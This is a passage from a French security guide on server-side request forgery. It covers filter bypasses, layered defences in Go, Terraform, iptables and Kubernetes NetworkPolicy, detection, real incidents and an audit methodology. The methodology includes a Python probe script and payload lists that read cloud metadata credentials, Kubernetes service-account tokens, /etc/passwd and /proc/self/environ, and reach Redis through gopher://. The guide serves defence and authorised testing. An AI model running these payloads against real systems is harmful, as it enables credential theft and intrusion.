# Étape 3 : L'application suit la redirection → SSRF
# La validation n'est effectuée que sur l'URL initiale

Contournement par Encodage

# URL encoding simple
http://169.254.169.254 → http://%31%36%39%2e%32%35%34%2e%31%36%39%2e%32%35%34

# Double URL encoding
http://169.254.169.254 → http://%2531%2536%2539%252e%2532%2535%2534%252e...

# Unicode / IDNA normalization
http://169。254。169。254  (fullwidth dots)
http://169.254.169.254  (halfwidth dots)
http://⑯⑨.②⑤④.⑯⑨.②⑤④  (circled digits — certains parsers)
Technique de filtreMéthode de contournementFiabilité
Blocklist d'IPReprésentations alternatives, DNS wildcardÉlevée
Allowlist de domaine (contains)URL parsing abuse (@, #, sous-domaine)Élevée
Allowlist de domaine (startsWith)Double encoding, userinfo@Moyenne
Blocage de protocoleRedirection HTTP → file://, gopher://Moyenne
Résolution DNS pré-requêteDNS rebindingMoyenne
Blocage des redirectionsDNS rebinding, contournement d'encodageFaible

Défense en Profondeur : Stratégie Anti-SSRF Complète

La protection contre le SSRF nécessite une approche en couches. Aucune mesure individuelle n'est suffisante.

Couche 1 : Validation de l'Input

// Validation robuste d'URL en Go
func validateURL(rawURL string) (*url.URL, error) {
    // 1. Parser l'URL
    parsed, err := url.Parse(rawURL)
    if err != nil {
        return nil, fmt.Errorf("URL invalide : %w", err)
    }

    // 2. Vérifier le schéma (allowlist)
    if parsed.Scheme != "http" && parsed.Scheme != "https" {
        return nil, fmt.Errorf("schéma non autorisé : %s", parsed.Scheme)
    }

    // 3. Vérifier l'absence d'authentification dans l'URL
    if parsed.User != nil {
        return nil, fmt.Errorf("authentification dans l'URL non autorisée")
    }

    // 4. Extraire le hostname (sans port)
    hostname := parsed.Hostname()

    // 5. Vérifier que le hostname n'est pas une IP
    ip := net.ParseIP(hostname)
    if ip != nil {
        if isPrivateIP(ip) {
            return nil, fmt.Errorf("IP privée bloquée : %s", ip)
        }
    }

    // 6. Résoudre le DNS et vérifier les IPs
    ips, err := net.LookupIP(hostname)
    if err != nil {
        return nil, fmt.Errorf("résolution DNS échouée : %w", err)
    }

    for _, resolvedIP := range ips {
        if isPrivateIP(resolvedIP) {
            return nil, fmt.Errorf("hostname résout vers une IP privée : %s → %s",
                hostname, resolvedIP)
        }
    }

    // 7. Vérifier l'allowlist de domaines (si applicable)
    allowedDomains := []string{".example.com", ".trusted-partner.com"}
    domainAllowed := false
    for _, domain := range allowedDomains {
        if strings.HasSuffix(hostname, domain) {
            domainAllowed = true
            break
        }
    }
    if !domainAllowed {
        return nil, fmt.Errorf("domaine non autorisé : %s", hostname)
    }

    return parsed, nil
}

Couche 2 : Client HTTP Restreint

// Client HTTP sécurisé contre le SSRF en Go
func newSSRFSafeClient() *http.Client {
    dialer := &net.Dialer{
        Timeout:   5 * time.Second,
        KeepAlive: 5 * time.Second,
    }

    transport := &http.Transport{
        DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {
            // Extraire host et port
            host, port, err := net.SplitHostPort(addr)
            if err != nil {
                return nil, err
            }

            // Résoudre et vérifier (protection DNS rebinding)
            ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)
            if err != nil {
                return nil, err
            }

            for _, ip := range ips {
                if isPrivateIP(ip.IP) {
                    return nil, fmt.Errorf("connexion vers IP privée bloquée")
                }
            }

            // Se connecter directement à l'IP (pas de re-résolution)
            return dialer.DialContext(ctx, network,
                net.JoinHostPort(ips[0].IP.String(), port))
        },
        // Désactiver les redirections
        // (géré dans CheckRedirect ci-dessous)
        MaxIdleConns:    10,
        IdleConnTimeout: 30 * time.Second,
    }

    return &http.Client{
        Transport: transport,
        Timeout:   10 * time.Second,
        // Contrôler chaque redirection
        CheckRedirect: func(req *http.Request, via []*http.Request) error {
            if len(via) >= 3 {
                return fmt.Errorf("trop de redirections")
            }
            // Valider l'URL de redirection
            _, err := validateURL(req.URL.String())
            return err
        },
    }
}

Couche 3 : Segmentation Réseau

La segmentation réseau est la défense la plus efficace contre le SSRF. Si l'instance applicative ne peut pas atteindre le service de métadonnées, le réseau interne ou les services non publics, le SSRF perd son intérêt :

Analyse complémentaire

# AWS : désactiver le IMDS si non nécessaire
resource "aws_instance" "web" {
  metadata_options {
    http_endpoint = "disabled"  # Désactiver complètement l'IMDS
  }
}

# Si l'IMDS est nécessaire, utiliser un rôle IAM minimal
resource "aws_iam_role_policy" "minimal" {
  role = aws_iam_role.web_role.id
  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Effect   = "Allow"
        Action   = ["s3:GetObject"]
        Resource = ["arn:aws:s3:::mon-bucket-public/*"]
      }
      # Rien d'autre — pas d'EC2, pas d'IAM, pas de SSM
    ]
  })
}

# Security group : bloquer l'accès au IMDS via iptables
# (pour les cas où l'IMDS ne peut pas être désactivé)
iptables -A OUTPUT -d 169.254.169.254 -j DROP
# Ou plus finement, autoriser uniquement le processus qui en a besoin
iptables -A OUTPUT -d 169.254.169.254 -m owner --uid-owner root -j ACCEPT
iptables -A OUTPUT -d 169.254.169.254 -j DROP

Couche 4 : Monitoring et Détection

# CloudTrail : détecter l'utilisation suspecte de credentials IMDS
# Les credentials IMDS ont un User-Agent spécifique dans CloudTrail
# Toute utilisation depuis une IP différente de l'instance est suspecte

# Exemple de règle CloudWatch Alarm
aws cloudwatch put-metric-alarm \
  --alarm-name "SuspiciousIMDSCredentialUsage" \
  --metric-name "IMDSCredentialExternalUse" \
  --namespace "SecurityMonitoring" \
  --statistic Sum \
  --period 300 \
  --threshold 1 \
  --comparison-operator GreaterThanOrEqualToThreshold

# GuardDuty détecte automatiquement :
# - UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS
# - UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS

Outils d'Exploitation et de Détection

Plusieurs outils facilitent la détection et l'exploitation des SSRF en contexte de pentest et d'audit :

SSRFmap automatise l'exploitation des SSRF avec des modules pour chaque protocole et service cible :

# Installation et utilisation de SSRFmap
git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap

# Exploitation automatique
python3 ssrfmap.py \
  -r request.txt \
  -p url \
  -m readfiles,portscan,redis,fastcgi,mysql \
  --ssl

Gopherus génère les payloads gopher:// pour interagir avec des services internes :

# Générer un payload gopher:// pour Redis
python3 gopherus.py --exploit redis
# Générer un payload pour MySQL
python3 gopherus.py --exploit mysql
# Générer un payload pour FastCGI (PHP-FPM)
python3 gopherus.py --exploit fastcgi
# Générer un payload pour Zabbix
python3 gopherus.py --exploit zabbix

Interact.sh (ProjectDiscovery) fournit un serveur out-of-band pour la détection de SSRF aveugles :

# Lancer un serveur interact.sh local
interactsh-client -v

# Ou utiliser le service public
# Récupère un domaine unique : abc123.oast.fun
# Toute requête DNS/HTTP/SMTP vers ce domaine est loguée

# Utilisation dans un test SSRF
GET /fetch?url=http://abc123.oast.fun/ssrf-test
# Si une requête arrive sur le serveur interact.sh → SSRF confirmé

Cas Réels et Post-Mortems

L'analyse des SSRF exploités en production fournit des enseignements précieux.

Capital One (2019) — Un WAF (ModSecurity) déployé sur EC2 avec un rôle IAM ayant accès S3 complet. L'attaquante (Paige Thompson) a exploité un SSRF dans le WAF pour accéder aux métadonnées IMDSv1, récupérer les credentials IAM, et exfiltrer 100 millions de dossiers clients depuis S3. Leçon : le moindre privilège IAM aurait limité l'impact à zéro si le WAF n'avait pas eu d'accès S3.

GitLab (2021, CVE-2021-22214) — Un SSRF dans la fonctionnalité de CI Lint permettait d'envoyer des requêtes vers des services internes. L'exploitation permettait d'accéder aux métadonnées cloud des instances GitLab hébergées et de pivoter vers le réseau interne. La fonctionnalité utilisait la bibliothèque http de Ruby sans restriction de protocole ni validation d'IP. Leçon : chaque fonctionnalité qui effectue des requêtes HTTP côté serveur doit utiliser un client HTTP restreint.

Microsoft Exchange (ProxySSRF, 2021) — Partie de la chaîne ProxyLogon/ProxyShell. Un SSRF dans le composant Autodiscover d'Exchange permettait d'accéder au backend Exchange avec les privilèges SYSTEM, menant à une RCE complète. L'exploitation dans la nature a affecté des dizaines de milliers de serveurs Exchange exposés sur internet. Leçon : les services internes ne doivent pas faire confiance aux requêtes provenant du frontend sans authentification, même si elles viennent du réseau interne.

Shopify (2020, Bug Bounty) — Un chercheur en sécurité a découvert un SSRF dans la fonctionnalité de prévisualisation de thèmes. En uploadant un fichier de thème Liquid contenant une balise {% raw %}{{ 'http://169.254.169.254/...' | http }}{% endraw %}, il pouvait déclencher des requêtes vers les métadonnées GCP de l'infrastructure Shopify. Bounty : 25 000 USD. Leçon : les moteurs de templates côté serveur sont des vecteurs SSRF souvent oubliés.

SSRF dans les Architectures Modernes : Serverless, Service Mesh, GraphQL

Les architectures modernes introduisent de nouvelles surfaces d'attaque SSRF.

Serverless (Lambda, Cloud Functions). Les fonctions serverless accèdent aux métadonnées via des mécanismes différents. AWS Lambda expose les credentials via des variables d'environnement (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN), pas via le IMDS. Un SSRF vers file:///proc/self/environ les expose directement. La protection : utiliser des rôles IAM minimaux et activer le logging CloudTrail sur toutes les API calls.

Service Mesh (Istio, Linkerd). Les service meshes ajoutent un sidecar proxy devant chaque service. Un SSRF qui atteint le sidecar Envoy (port 15000/15001) peut accéder à la configuration du mesh, aux certificats mTLS, et potentiellement pivoter vers d'autres services en contournant les politiques d'autorisation. L'endpoint /config_dump d'Envoy expose la configuration complète incluant les secrets TLS.

GraphQL. Les APIs GraphQL qui supportent les directives custom ou les types de chargement de fichiers (multipart upload) peuvent être vulnérables au SSRF. La fonctionnalité de federation GraphQL, où le gateway récupère des schémas depuis des sous-graphes distants, est un vecteur SSRF si l'URL du sous-graphe est configurable par un utilisateur.

# GraphQL : SSRF via argument URL dans une mutation
mutation {
  importData(url: "http://169.254.169.254/latest/meta-data/") {
    status
    result
  }
}

# GraphQL : SSRF via introspection de federation
{
  _service {
    sdl
  }
}
# Si le gateway fait un fetch vers une URL configurable pour résoudre le SDL

FAQ

Comment tester rapidement si une application est vulnérable au SSRF ?

Utilisez Burp Collaborator ou interact.sh pour obtenir un domaine unique de callback. Injectez ce domaine dans chaque paramètre qui accepte une URL : champs de webhook, URL de callback OAuth, paramètres d'importation, URL d'avatar, flux RSS, prévisualisation de liens. Si une requête DNS ou HTTP arrive sur votre serveur de callback, le SSRF est confirmé. Testez ensuite l'accès aux métadonnées cloud (169.254.169.254) et aux services internes (127.0.0.1, 10.0.0.0/8). Testez les protocoles file:// et gopher:// si la bibliothèque sous-jacente les supporte. Cette phase de test prend typiquement 2 à 4 heures par application.

IMDSv2 est-il suffisant pour protéger contre le SSRF cloud ?

Non. IMDSv2 bloque les SSRF simples (GET-only sans headers), mais il est contournable si le SSRF permet de contrôler la méthode HTTP ou d'ajouter des headers personnalisés. De plus, IMDSv2 ne protège pas contre l'exploitation de services internes (Redis, Kubernetes API, bases de données) accessibles via SSRF. La défense complète combine IMDSv2 obligatoire, rôles IAM minimaux, segmentation réseau (l'application ne doit pas pouvoir atteindre le IMDS si elle n'en a pas besoin), et validation robuste des URLs côté applicatif. Idéalement, désactivez complètement l'IMDS sur les instances qui n'en ont pas besoin.

Quels sont les protocoles les plus dangereux dans un contexte SSRF ?

Le protocole gopher:// est le plus dangereux car il permet d'envoyer des données arbitraires sur n'importe quel port TCP, transformant un SSRF HTTP en interaction avec Redis, MySQL, SMTP, FastCGI et d'autres services. Le protocole file:// permet la lecture de fichiers locaux, y compris les variables d'environnement (/proc/self/environ) qui contiennent souvent des secrets. Le protocole dict:// permet l'envoi de commandes simples à des services texte. Les bibliothèques HTTP modernes (requests en Python, http en Go) ne supportent généralement pas gopher://, mais les anciennes versions de libcurl et urllib le supportent. Vérifiez systématiquement les protocoles supportés par la bibliothèque utilisée.

Comment détecter un SSRF aveugle en production ?

Le SSRF aveugle est difficile à détecter car l'attaquant ne génère pas d'erreur visible. Les indicateurs : requêtes DNS sortantes vers des domaines inhabituels (surveillez les logs DNS), connexions TCP sortantes vers des ports internes ou des IPs de métadonnées (surveillez les logs VPC Flow/Security Group), temps de réponse anormaux sur des endpoints qui ne devraient pas faire de requêtes réseau (monitoring APM). Côté AWS, GuardDuty détecte l'utilisation de credentials IMDS depuis des IPs inattendues. Configurez des alertes sur ces signaux et intégrez-les dans votre SIEM. Un WAF avec des règles spécifiques (blocage des requêtes contenant 169.254.169.254, gopher://, file://) apporte une couche de détection supplémentaire.

Le SSRF est-il exploitable si l'application ne retourne pas la réponse ?

Oui, via trois canaux principaux. Premier canal : le timing — la différence de temps de réponse entre un port ouvert et un port fermé permet le port scanning. Deuxième canal : les erreurs — même si la réponse complète n'est pas affichée, les messages d'erreur différents (timeout vs. connection refused vs. HTTP error) révèlent l'état des services internes. Troisième canal : l'out-of-band — si l'application effectue la requête même sans retourner la réponse, l'attaquant utilise un serveur de callback (interact.sh) pour confirmer le SSRF, puis combine avec DNS exfiltration ou des redirections pour extraire des données. Le SSRF aveugle est exploitable, il demande simplement plus de temps et de créativité.

Analyse complémentaire

Comment protéger les fonctionnalités de webhook contre le SSRF ?

Les webhooks sont intrinsèquement des vecteurs SSRF car ils nécessitent que le serveur effectue des requêtes vers des URLs fournies par l'utilisateur. La protection combine : validation stricte de l'URL (schéma https uniquement, pas d'IP privée, résolution DNS vérifiée au moment de la connexion pour contrer le DNS rebinding), utilisation d'un service dédié pour les requêtes sortantes (un microservice isolé dans un réseau sans accès aux services internes ni au IMDS), timeout court (5 secondes maximum), pas de suivi de redirections (ou validation de chaque redirection), et rate limiting par utilisateur. Certaines organisations utilisent un proxy sortant (Squid, Envoy) qui applique les règles de filtrage de manière centralisée.

Le DNS rebinding est-il encore exploitable en 2026 ?

Oui, mais c'est devenu plus difficile. Les navigateurs modernes ont implémenté des protections (DNS pinning, partitionnement du cache DNS). Cependant, dans le contexte du SSRF côté serveur, le DNS rebinding reste pertinent car les bibliothèques HTTP serveur ne cachent pas toujours les résolutions DNS de la même manière que les navigateurs. La protection efficace : résoudre le DNS une seule fois et se connecter directement à l'IP résolue (comme montré dans l'exemple Go avec DialContext), sans laisser la bibliothèque HTTP résoudre le DNS elle-même. Les services comme rbndr.us et singularity facilitent le test de cette vulnérabilité lors des audits.

Comment traiter le SSRF dans une application qui doit légitimement récupérer des URLs externes ?

C'est le cas le plus courant et le plus délicat : l'application a besoin de récupérer du contenu depuis des URLs fournies par l'utilisateur (prévisualisation de liens, import RSS, webhooks). La solution architecturale : isoler la fonctionnalité de récupération dans un microservice dédié, déployé dans un réseau isolé qui n'a accès ni au IMDS, ni aux services internes, ni aux bases de données. Ce microservice ne contient aucun secret et ne peut accéder qu'à internet. Il valide l'URL, effectue la requête, et retourne le résultat à l'application principale via une API interne authentifiée. Cette architecture élimine le risque de SSRF vers les ressources internes, même si la validation de l'URL est contournée. Le surcoût opérationnel est minimal (un conteneur supplémentaire) et la sécurité est fondamentalement meilleure qu'un filtrage d'URL.

Renforcement de la sécurité

Conclusion Opérationnelle

Le SSRF en 2026 n'est plus une vulnérabilité exotique réservée aux bug bounty hunters — c'est un risque systémique dans les architectures cloud. Chaque application qui effectue des requêtes HTTP côté serveur est potentiellement vulnérable, et l'impact en environnement cloud (accès aux credentials IAM, pivot réseau, RCE via services internes) justifie une attention proportionnée. La défense efficace ne repose pas sur un seul contrôle mais sur une combinaison de couches : validation d'URL avec résolution DNS au moment de la connexion (anti DNS rebinding), client HTTP restreint (pas de gopher://, pas de file://, pas de redirections non validées), segmentation réseau (l'application ne peut pas atteindre le IMDS ni les services internes non nécessaires), moindre privilège IAM (même en cas de fuite de credentials, l'impact est limité), et monitoring des requêtes sortantes anormales. L'audit systématique de chaque fonctionnalité qui effectue des requêtes côté serveur — y compris les fonctionnalités "business" comme la génération de PDF et les webhooks — est la première étape pour réduire cette surface d'attaque.

Pour comprendre comment les attaquants combinent le SSRF avec d'autres vulnérabilités, consultez notre article sur l'injection XXE qui partage de nombreuses techniques d'exploitation similaires. Les techniques de privilège escalation Linux détaillent ce qui se passe après qu'un attaquant a obtenu un accès initial via SSRF. Pour la protection des pipelines CI/CD contre les SSRF dans les runners, notre guide DevSecOps couvre les configurations de sécurité réseau nécessaires. Enfin, notre analyse des vulnérabilités API REST et GraphQL traite les vecteurs SSRF spécifiques aux APIs modernes.

SSRF dans les Environnements Kubernetes et Cloud-Native

Les architectures cloud-native basées sur Kubernetes introduisent des surfaces d'attaque SSRF spécifiques qui n'existent pas dans les déploiements traditionnels. L'orchestrateur Kubernetes expose un API server interne, chaque pod possède un service account avec un token monté automatiquement, et le réseau inter-pods est par défaut plat (tout pod peut communiquer avec tout autre pod). Un SSRF depuis un pod applicatif peut potentiellement atteindre l'API Kubernetes, les métadonnées cloud du noeud, les services internes des autres namespaces, et les composants d'infrastructure (etcd, CoreDNS, Prometheus).

API Server Kubernetes via SSRF

L'API server Kubernetes est accessible depuis chaque pod via le service interne kubernetes.default.svc (port 443). Le token du service account est monté automatiquement dans /var/run/secrets/kubernetes.io/serviceaccount/token. Si un SSRF permet de lire des fichiers locaux (file://) ET de faire des requêtes HTTPS avec un header Authorization, l'attaquant peut interagir avec l'API Kubernetes avec les permissions du service account du pod vulnérable.

# Étape 1 : Lire le token du service account via SSRF file://
GET /fetch?url=file:///var/run/secrets/kubernetes.io/serviceaccount/token
# Réponse : eyJhbGciOiJSUzI1NiIsImtpZCI6Ii0tLS... (JWT token)

# Lire le namespace courant
GET /fetch?url=file:///var/run/secrets/kubernetes.io/serviceaccount/namespace
# Réponse : production

# Lire le certificat CA pour valider le TLS
GET /fetch?url=file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# Étape 2 : Interroger l'API Kubernetes (si le SSRF permet headers custom)
# Lister les pods du namespace
GET /fetch?url=https://kubernetes.default.svc/api/v1/namespaces/production/pods
# Header: Authorization: Bearer eyJhbGciOiJSUzI1NiIs...

# Lister les secrets du namespace
GET /fetch?url=https://kubernetes.default.svc/api/v1/namespaces/production/secrets
# Si le service account a les permissions → accès aux secrets K8s (DB passwords, API keys)

# Lister les configmaps
GET /fetch?url=https://kubernetes.default.svc/api/v1/namespaces/production/configmaps

# Vérifier les permissions du service account
GET /fetch?url=https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectaccessreviews
# POST body: {"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"verb":"list","resource":"secrets"}}}

Les conséquences dépendent des permissions du service account (RBAC). Dans les configurations laxistes (ce que nous observons encore fréquemment), le service account par défaut a des permissions de lecture sur les secrets, les configmaps et les pods du namespace. Dans les configurations les plus sévères, un attaquant avec des permissions de création de pods peut escalader vers des pods privilégiés qui montent le filesystem du noeud hôte.

Services Mesh et Sidecars

Les service meshes (Istio, Linkerd) ajoutent un sidecar proxy (Envoy, linkerd-proxy) devant chaque pod. Ce sidecar expose des endpoints d'administration qui ne sont normalement accessibles que depuis localhost. Un SSRF vers 127.0.0.1 dans un pod avec un sidecar Istio/Envoy peut accéder à :

# Endpoints Envoy sidecar accessibles via SSRF vers localhost
# Port 15000 : Envoy admin interface
GET /fetch?url=http://127.0.0.1:15000/config_dump
# → Configuration complète d'Envoy, incluant les certificats mTLS,
#   les routes, les clusters upstream, et potentiellement des secrets

GET /fetch?url=http://127.0.0.1:15000/clusters
# → Liste de tous les services accessibles depuis ce pod

GET /fetch?url=http://127.0.0.1:15000/stats/prometheus
# → Métriques détaillées (noms de services, taux d'erreur, latence)

# Port 15001 : Envoy inbound listener
# Port 15006 : Envoy outbound listener

# Istio Pilot (istiod) — accessible depuis les pods
GET /fetch?url=http://istiod.istio-system:15014/debug/configz
# → Configuration du mesh complète

GET /fetch?url=http://istiod.istio-system:15014/debug/endpointz
# → Tous les endpoints de tous les services du mesh

# Si l'attaquant peut modifier la configuration Envoy via l'admin API :
POST /fetch?url=http://127.0.0.1:15000/config_dump
# Il peut potentiellement rediriger le trafic vers un serveur contrôlé

Services Internes Kubernetes Typiques

Un cluster Kubernetes de production contient de nombreux services internes accessibles via SSRF :

Analyse complémentaire

ServiceAdresse InternePortImpact SSRF
Kubernetes APIkubernetes.default.svc443Lecture/modification de ressources K8s
etcdetcd.kube-system.svc2379Lecture de TOUS les secrets du cluster
CoreDNSkube-dns.kube-system.svc53Énumération de services
Prometheusprometheus.monitoring.svc9090Métriques, targets, configuration
Grafanagrafana.monitoring.svc3000Dashboards, datasources (credentials)
ArgoCDargocd-server.argocd.svc443Déploiement de configurations malveillantes
Vaultvault.vault.svc8200Lecture de secrets si token disponible
Redis/Memcachedredis.cache.svc6379Lecture/écriture de données, RCE
Elasticsearchelasticsearch.logging.svc9200Lecture de tous les logs (credentials, PII)
Jaegerjaeger-query.tracing.svc16686Traces applicatives (données métier)

La défense en Kubernetes repose sur les Network Policies (l'équivalent des security groups mais au niveau pod). Une Network Policy qui bloque le trafic sortant du pod applicatif vers les services d'infrastructure (kube-system, monitoring, vault) réduit considérablement l'impact d'un SSRF. Malheureusement, les Network Policies ne sont pas activées par défaut et nécessitent un CNI (Container Network Interface) compatible (Calico, Cilium) :

# NetworkPolicy : limiter le trafic sortant du pod applicatif
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: restrict-app-egress
  namespace: production
spec:
  podSelector:
    matchLabels:
      app: mon-application
  policyTypes:
    - Egress
  egress:
    # Autoriser DNS
    - to:
        - namespaceSelector:
            matchLabels:
              kubernetes.io/metadata.name: kube-system
          podSelector:
            matchLabels:
              k8s-app: kube-dns
      ports:
        - protocol: UDP
          port: 53
    # Autoriser la base de données
    - to:
        - podSelector:
            matchLabels:
              app: postgresql
      ports:
        - protocol: TCP
          port: 5432
    # Autoriser le trafic internet (via un egress gateway)
    - to:
        - ipBlock:
            cidr: 0.0.0.0/0
            except:
              - 10.0.0.0/8      # Bloquer le réseau interne
              - 172.16.0.0/12   # Bloquer le réseau Docker
              - 192.168.0.0/16  # Bloquer le réseau privé
              - 169.254.0.0/16  # Bloquer les métadonnées cloud
      ports:
        - protocol: TCP
          port: 443

Méthodologie d'Audit SSRF : Approche Systématique

L'audit SSRF dans le cadre d'un pentest ou d'un audit de sécurité suit une méthodologie structurée en quatre phases. Cette approche garantit une couverture exhaustive des vecteurs d'attaque.

Phase 1 : Identification des Points d'Entrée

La première phase identifie toutes les fonctionnalités de l'application qui effectuent des requêtes HTTP (ou autres protocoles) côté serveur. Les sources les plus courantes :

# Points d'entrée SSRF à tester systématiquement

# 1. Paramètres URL explicites
/api/fetch?url=
/api/preview?url=
/api/proxy?target=
/api/screenshot?site=
/api/import?source=
/webhook/test?callback_url=
/api/pdf?template_url=

# 2. Fonctionnalités de prévisualisation
# - Aperçu de liens dans les messages/commentaires
# - Prévisualisation d'URL dans les editors WYSIWYG
# - Fetch de favicon/opengraph pour les URL partagées
# - Prévisualisation de flux RSS/Atom

# 3. Upload et traitement
# - Upload de SVG (images vectorielles)
# - Upload de DOCX/XLSX (fichiers Office)
# - Import de données depuis une URL
# - Téléchargement d'images depuis URL (avatar from URL)

# 4. Intégrations et webhooks
# - Configuration de webhooks (URL de callback)
# - Intégrations OAuth (redirect_uri, callback)
# - Configuration de serveurs SMTP/LDAP
# - Connexion à des APIs tierces (URL configurable)

# 5. Fonctionnalités PDF/Image
# - Génération de PDF à partir de HTML
# - Capture d'écran de pages web
# - Conversion de formats (HTML to PDF, URL to image)
# - Rendu de templates avec ressources externes

# 6. API et données
# - GraphQL avec directives ou resolvers qui fetchent des URLs
# - REST API qui accèdent à des ressources par URL
# - SOAP/XML avec des entités SYSTEM (XXE → SSRF)
# - Import/Export de données depuis des sources externes

Phase 2 : Confirmation du SSRF

Pour chaque point d'entrée identifié, on tente de confirmer le SSRF en utilisant un serveur de callback (Burp Collaborator, interact.sh) :

# Script de test SSRF automatisé (Python)
import requests
import sys
from urllib.parse import quote

CALLBACK = "abc123.oast.fun"
TARGET = "https://target.example.com"

# Points d'entrée à tester
endpoints = [
    {"url": f"{TARGET}/api/fetch?url=http://{CALLBACK}/ssrf-test-1", "method": "GET"},
    {"url": f"{TARGET}/api/preview", "method": "POST",
     "data": {"url": f"http://{CALLBACK}/ssrf-test-2"}},
    {"url": f"{TARGET}/api/import", "method": "POST",
     "json": {"source_url": f"http://{CALLBACK}/ssrf-test-3"}},
    {"url": f"{TARGET}/webhook/test", "method": "POST",
     "json": {"callback_url": f"http://{CALLBACK}/ssrf-test-4"}},
]

# Variantes d'URL à tester pour chaque point d'entrée
url_variants = [
    f"http://{CALLBACK}/basic",                           # HTTP basique
    f"https://{CALLBACK}/https",                          # HTTPS
    f"http://169.254.169.254/latest/meta-data/",         # AWS metadata
    f"http://metadata.google.internal/computeMetadata/v1/", # GCP metadata
    "file:///etc/hostname",                               # File protocol
    f"gopher://127.0.0.1:6379/_INFO",                    # Gopher protocol
    f"dict://127.0.0.1:6379/INFO",                       # Dict protocol
    f"http://127.0.0.1:80/",                             # Localhost
    f"http://[::1]:80/",                                 # IPv6 loopback
    f"http://0177.0.0.1/",                               # Octal localhost
    f"http://2130706433/",                               # Decimal localhost
    f"http://127.0.0.1.nip.io/",                         # DNS wildcard
    f"http://localtest.me/",                             # DNS → 127.0.0.1
]

for endpoint in endpoints:
    print(f"\n[*] Testing {endpoint['url']}")
    try:
        if endpoint["method"] == "GET":
            r = requests.get(endpoint["url"], timeout=10)
        else:
            r = requests.post(endpoint["url"],
                            json=endpoint.get("json"),
                            data=endpoint.get("data"),
                            timeout=10)
        print(f"    Status: {r.status_code}, Length: {len(r.text)}")
    except Exception as e:
        print(f"    Error: {e}")

print(f"\n[*] Check callbacks on {CALLBACK}")
print("[*] Any DNS/HTTP request received confirms SSRF")

Phase 3 : Exploitation et Impact

Une fois le SSRF confirmé, l'exploitation vise à démontrer l'impact maximal. L'ordre de priorité des cibles :

Analyse complémentaire

# 1. Métadonnées cloud (impact le plus élevé en environnement cloud)
http://169.254.169.254/latest/meta-data/iam/security-credentials/  # AWS
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/  # Azure
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token  # GCP

# 2. Services internes non authentifiés
http://127.0.0.1:6379/INFO          # Redis
http://127.0.0.1:9200/_cat/indices  # Elasticsearch
http://127.0.0.1:5601/api/status    # Kibana
http://127.0.0.1:8500/v1/kv/?recurse  # Consul (secrets)
http://127.0.0.1:8200/v1/sys/health # Vault

# 3. Réseau interne (découverte)
http://10.0.0.1/                    # Gateway
http://10.0.0.2/                    # Serveur suivant
# Scanner les ports communs sur les IPs internes découvertes

# 4. Kubernetes (si en environnement K8s)
https://kubernetes.default.svc/api/v1/namespaces/
file:///var/run/secrets/kubernetes.io/serviceaccount/token

# 5. Fichiers locaux (si file:// supporté)
file:///etc/passwd
file:///proc/self/environ  # Variables d'environnement (secrets)
file:///proc/self/cmdline  # Arguments de la commande

Phase 4 : Contournement des Protections

Si des protections sont en place, on tente les contournements documentés précédemment (DNS rebinding, encodages alternatifs, redirections, représentations IP alternatives). On documente les protections contournées et celles qui résistent, pour le rapport d'audit.

Impact Business et Scoring du Risque SSRF

Le scoring CVSS d'un SSRF dépend fortement du contexte. Un SSRF dans une application interne sans accès cloud a un impact limité. Un SSRF dans une application cloud avec un rôle IAM administrateur a un impact catastrophique. Voici les critères de scoring que nous utilisons en audit :

ContexteImpactCVSS BaseJustification
SSRF full read + métadonnées cloud + rôle IAM adminCritique9.8-10.0Compromission totale de l'infrastructure cloud
SSRF full read + métadonnées cloud + rôle IAM limitéÉlevé8.0-9.0Accès partiel aux ressources cloud
SSRF full read + services internes (Redis, DB)Élevé7.5-8.5Lecture/écriture de données, potentiel RCE
SSRF full read + réseau interne uniquementMoyen6.0-7.0Cartographie réseau, pivot potentiel
SSRF blind + callback confirméMoyen5.0-6.5Port scanning, détection de services
SSRF partiel (lecture limitée)Faible-Moyen4.0-5.5Information disclosure limitée
SSRF vers internet uniquement (pas d'accès interne)Faible3.0-4.0Requêtes depuis l'IP du serveur (phishing, spam)

Remédiation à Long Terme : Architecture Résistante au SSRF

Au-delà des corrections ponctuelles (validation d'URL, client HTTP restreint), une architecture résistante au SSRF nécessite des changements structurels :

Pattern 1 : Microservice de Fetch Isolé

Isoler toute fonctionnalité de récupération d'URLs externes dans un microservice dédié, déployé dans un segment réseau qui n'a accès ni au IMDS, ni aux services internes, ni aux bases de données. Ce microservice ne contient aucun secret et ne peut accéder qu'à internet via un proxy sortant filtré :

# Architecture du microservice de fetch isolé
# ┌─────────────────────────────────────────────────────┐
# │                   VPC / Réseau                       │
# │                                                      │
# │  ┌──────────────┐       ┌──────────────────┐        │
# │  │ Application  │ API   │  Fetch Service   │        │
# │  │  principale  │──────►│  (isolé, pas de  │        │
# │  │  (secrets,   │       │  secrets, pas    │        │
# │  │   DB access) │       │  d'accès réseau  │        │
# │  └──────────────┘       │  interne)        │        │
# │                          └────────┬─────────┘        │
# │                                   │                  │
# │                          ┌────────▼─────────┐        │
# │                          │  Proxy Sortant   │        │
# │                          │  (Squid/Envoy)   │        │
# │                          │  - Blocklist IP  │        │
# │                          │  - Allowlist DNS │        │
# │                          └────────┬─────────┘        │
# └───────────────────────────────────┼──────────────────┘
#                                     │
#                                     ▼
#                                  Internet

# Kubernetes : NetworkPolicy pour le service de fetch
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: fetch-service-egress
  namespace: fetch-isolated
spec:
  podSelector:
    matchLabels:
      app: fetch-service
  policyTypes:
    - Egress
    - Ingress
  ingress:
    # Seule l'application principale peut appeler le fetch service
    - from:
        - namespaceSelector:
            matchLabels:
              name: production
          podSelector:
            matchLabels:
              app: main-application
      ports:
        - protocol: TCP
          port: 8080
  egress:
    # DNS uniquement
    - to:
